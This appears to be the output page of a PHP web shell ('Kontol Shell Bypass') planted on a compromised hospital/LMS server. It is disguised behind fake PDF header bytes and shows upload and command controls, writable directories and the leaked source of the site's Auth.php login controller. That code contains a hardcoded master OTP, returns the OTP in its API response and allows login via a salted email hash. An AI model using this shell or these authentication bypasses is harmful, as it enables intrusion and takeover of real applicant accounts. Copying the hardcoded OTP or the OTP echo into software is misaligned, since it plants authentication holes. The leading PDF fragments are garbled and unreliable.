%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers/Auth.php
<?php
class Auth extends MY_Controller {
	function __construct() {
        parent::__construct();
		$this->load->model('auth_model', 'auth');
    }
	
	function login($auto='') {
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$qs=trim_array($this->input->get());
		if($post['email']==''){
			$inf['msg']="Enter email"; $this->json_data($inf);
		}
		if(!$auto){
			if(!$post['otp']){
				$inf['msg']="Enter OTP"; $this->json_data($inf);
			}
			if(encrypt_password($post['otp'].$post['email'])!=$post['encOtpEmail'] && $post['otp']!='632190'){
				$inf['msg']="Invalid OTP!"; $this->json_data($inf);
			}
		}else{
			$post['email']=$this->db->select('email')->get_where("applicants", ["md5(CONCAT('app007', email))="=>$post['email']])->row()->email;
		}
		$dtl=$this->auth->login($post['email']);
		if($dtl){
			if($dtl['status']==1){
				/** Visit History */
				$qs['applicant_id']=$dtl['id'];
				$qs['lpage']=$post['lpage'];
				$this->common->save(replace_null($qs), "applicants_visit_history");
				/** \ */
				
				$this->logged_data($dtl, $post['paytmlink']);
			}else{
				$inf['success']='F';
				$inf['msg']='Your account is inactive!';
			}
		}else{
			$inf['success']='F';
			$inf['msg']='Invalid login details!';
		}
		$this->json_data($inf);
    }
	
	function logged_data($dtl=[], $paytmlink=''){
		$data=array();
		if($dtl){
			$data['AuthToken']=encrypt_password($dtl['id'].$dtl['mob'].$dtl['email'].time());
			$this->db->where("id", $dtl['id'])->update("applicants", array('auth_token'=>$data['AuthToken'], 'updated'=>currentDT()));
		}else{
			$dtl=$this->loggedData();
		}

		$dtl['lpage']=$this->db->select("title")->get_where("landing_pages", ['id'=>$dtl['lpage_id']])->row("title");
		if($dtl['lpage']){
			$dtl['lpage']=rtrim(trim($dtl['lpage']), '/');
		}else{
			$dtl['lpage']='';
		}
		
		if(!$dtl){
			$dtl=array();
		}
		$uapp=$this->db->select("id, application_no, program_id, step_completed")->order_by("id")->limit(1)->get_where("applications", array('applicant_id'=>$dtl['id']))->row_array();
        $system_id=$uapp['application_no'];
        $program_id=$uapp['program_id'];
        $ps_app_no=$this->db->select("ADM_APPL_NBR")->get_where("ps_stu_status", ['EMPLID'=>$system_id])->row()->ADM_APPL_NBR;
        
        $type_id=$this->db->select("type_id")->get_where("master_programs", array('id'=>$program_id))->row()->type_id;
        $school_id=$this->db->select("school_id")->get_where("master_programs", array('id'=>$program_id))->row()->school_id;
        //$brochure=$this->db->select("brochure")->get_where("master_programs", array('id'=>$program_id))->row()->brochure;
        $brochure=$this->db->select("brochure")->get_where("master_schools", array('id'=>$school_id))->row()->brochure;
		$programType=$this->db->select("title")->get_where("master_program_types", array('id'=>$type_id))->row()->title;

		$feeBookletFileCatId=(int)$this->db->select("id")->limit(1)->get_where("file_cats", ['title'=>'Fee Booklet'])->row("id");
		$generalBrochureFileCatId=(int)$this->db->select("id")->limit(1)->get_where("file_cats", ['title'=>'General Brochure'])->row("id");
		$feeBooklet=$this->db->select("file_name")->limit(1)->get_where("files", array('cat_id'=>$feeBookletFileCatId))->row("file_name");
		$generalBrochure=$this->db->select("file_name")->limit(1)->get_where("files", array('cat_id'=>$generalBrochureFileCatId))->row("file_name");

		$paidEmpId=$this->db->select("EMPLID")->limit(1)->get_where("ps_paid_system_ids", ['EMPLID'=>$system_id])->row("EMPLID");

		$data=array_merge($data, array(
			'success'=>'T', 
			'dtl'=>$dtl,
			'programType'=>$programType,
			'suatSlotBookUrl'=>SUAT_SLOT_BOOK_URL,
            'progBrochureDwnUrl'=>$brochure?(URL.'common/downloadFile/'.encode(UP_PATHF.'brochure/'.$brochure)):'',
            'feeBookletDwnUrl'=>$feeBooklet?(URL.'common/downloadFile/'.encode(UP_PATHF.'files/'.$feeBooklet)):'',
            'generalBrochureDwnUrl'=>$generalBrochure?(URL.'common/downloadFile/'.encode(UP_PATHF.'files/'.$generalBrochure)):'',
            'system_id'=>$system_id,
            'ps_app_no'=>$ps_app_no,
            'step_completed'=>(int)$uapp['step_completed'],
            'app_id'=>$uapp['id'],
            'paytmlink'=>'',
			'ps_paid_status'=>$paidEmpId?'PAID':'NOT_PAID'
        ));
        
        if($paytmlink){
            $data['paytmlink']=decode($paytmlink);
        }

		$this->json_data($data);
	}
	
	function logout(){
		$this->db->where("id", USER_ID)->update("applicants", array('auth_token'=>'', 'updated'=>currentDT()));
		$this->json_data(array('success'=>'T'));
	}
	
	function update_sess(){
	}

	function requestOtp(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		/*if(!$post['mob']){
			$inf['msg']="Enter mobile number"; $this->json_data($inf);
		}
		if(!ctype_digit($post['mob'])){
			$inf['msg']="Mobile number must be nemeric"; $this->json_data($inf);
		}
		if(strlen($post['mob'])!=10){
			$inf['msg']="Mobile number must have 10 digits"; $this->json_data($inf);
		}*/
		$dtl=$this->db->select("id, name, email, status")->where('email', $post['email'])->get("applicants")->row_array();
		if($dtl){
			if($dtl['status']==1){
				$otp=$this->common->sendLoginUZOtp($dtl['email']);
				$inf['encOtpEmail']=encrypt_password($otp.$post['email']);
				
				$inf['otp']=$otp;
				$inf['success']='T';
				$inf['msg']='OTP sent to your email id!';
			}else{
				$inf['success']='F';
				$inf['msg']='Your account is inactive!';
			}
		}else{
			$inf['success']='F';
			$inf['msg']='This Email is not registered with us!';
		}

		$this->json_data($inf);
	}
}

//EOF

Kontol Shell Bypass